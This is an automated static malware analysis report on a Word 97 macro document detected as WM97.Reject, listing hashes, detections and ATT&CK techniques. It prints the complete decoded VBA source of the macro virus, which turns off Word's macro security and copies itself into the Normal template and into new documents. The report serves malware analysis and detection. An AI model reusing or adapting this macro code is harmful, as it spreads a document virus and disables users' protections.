Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19e2a32bd043e924…

MALICIOUS

Office (OLE)

28.5 KB Created: 1997-06-24 10:49:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ad1f9cd1537d62ee8e12df8344b7177d SHA-1: dbaad73e9521430bf156164a3f306d628687128a SHA-256: 19e2a32bd043e9246eeb0641d96108c9eb6becdbc62eae0be0bd71825e0abfc9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that attempt to disable Word's macro security settings and copy themselves to the Normal template, likely to establish persistence. The embedded script also contains comments referencing 'Reject' and 'Psyclone X', suggesting a known malware family, though direct IOCs for this are absent. The document body content is unrelated to the macro's malicious functionality.

Heuristics 2

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1894 bytes
SHA-256: 133c4e20f16ea55e1986009ef0905428ffa1674a0f2afb2b34bec915e7da8ea5
Detection
ClamAV: Doc.Trojan.Reject-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Options.ConfirmConversions = 0
Options.SaveNormalPrompt = 0
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
   CommandBars("Macro").Controls("Security...").Enabled = 0
   System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
 Else
   CommandBars("Tools").Controls("Macro").Enabled = 0
   Options.VirusProtection = 0
End If
Set norm = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set doc = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set bug = New DataObject
If norm.lines(Chr(50) + Chr(54), Chr(49)) <> "'AreUHere" Then
    With norm: .DeleteLines Chr(49), .CountOfLines: End With
    bug.SetText doc.lines(Chr(49), doc.CountOfLines): norm.InsertLines Chr(49), bug.GetText(1)
 ElseIf doc.lines(Chr(50) + Chr(54), Chr(49)) <> "'AreUHere" Then
    With doc: .DeleteLines Chr(49), .CountOfLines: End With
    bug.SetText norm.lines(Chr(49), norm.CountOfLines): doc.InsertLines Chr(49), bug.GetText(1)
End If
'WM97.Reject
'For Educational Purposes Only
'[Psyclone X /DVC]
End Sub
'AreUHere
Private Sub Document_New()
On Error Resume Next
Set norm = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set doc = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set bug = New DataObject
If doc.lines(Chr(50) + Chr(54), Chr(49)) <> "'AreUHere" Then
    With doc: .DeleteLines Chr(49), .CountOfLines: End With
    bug.SetText norm.lines(Chr(49), norm.CountOfLines): doc.InsertLines Chr(49), bug.GetText(1)
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.